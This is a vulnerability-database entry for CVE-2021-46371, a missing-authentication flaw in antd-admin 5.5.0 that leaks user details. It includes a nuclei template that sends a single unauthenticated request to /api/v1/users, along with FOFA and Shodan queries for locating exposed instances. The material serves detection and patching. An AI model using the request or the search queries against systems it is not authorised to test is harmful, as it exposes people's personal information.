Browse / CVEs / CVE-2021-46371
CVE-2021-46371· zuiidea / antd-admin· CWE-306
AntD Admin - Sensitive Information Disclosure
AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.
Impact
Unauthorized users can access sensitive information, leading to potential data leakage and privacy breaches.
Fix
Update to the latest version of antd-admin that addresses access control issues.
How to confirm it
Send: GET {{BaseURL}}/api/v1/users
Positive when: contains "email\":" and "data\":[{\"id\":" and "phone\":\"" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2021-46371 -u <target>
The full check
id: CVE-2021-46371
info:
name: AntD Admin - Sensitive Information Disclosure
author: ritikchaddha
severity: high
description: |
AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.
impact: |
Unauthorized users can access sensitive information, leading to potential data leakage and privacy breaches.
remediation: |
Update to the latest version of antd-admin that addresses access control issues.
reference:
- https://github.com/zuiidea/antd-admin/issues/1127
- https://github.com/zuiidea/antd-admin
- https://nvd.nist.gov/vuln/detail/CVE-2021-46371
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-306
cve-id: CVE-2021-46371
epss-score: 0.04388
epss-percentile: 0.91386
metadata:
verified: true
max-request: 1
vendor: zuiidea
product: antd-admin
fofa-query: 'body="/@@/devScripts.js" && body="//! umi version:" && body="/umi.js"'
shodan-query: html:"/umi.js" html:"@@/devScripts.js"
tags: cve,cve2021,antdadmin,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/users"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'email":'
- 'data":[{"id":'
- 'phone":"'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200References
- https://github.com/zuiidea/antd-admin/issues/1127
- https://github.com/zuiidea/antd-admin
- https://nvd.nist.gov/vuln/detail/CVE-2021-46371
Use this check only on systems you are authorised to test. Where the data comes from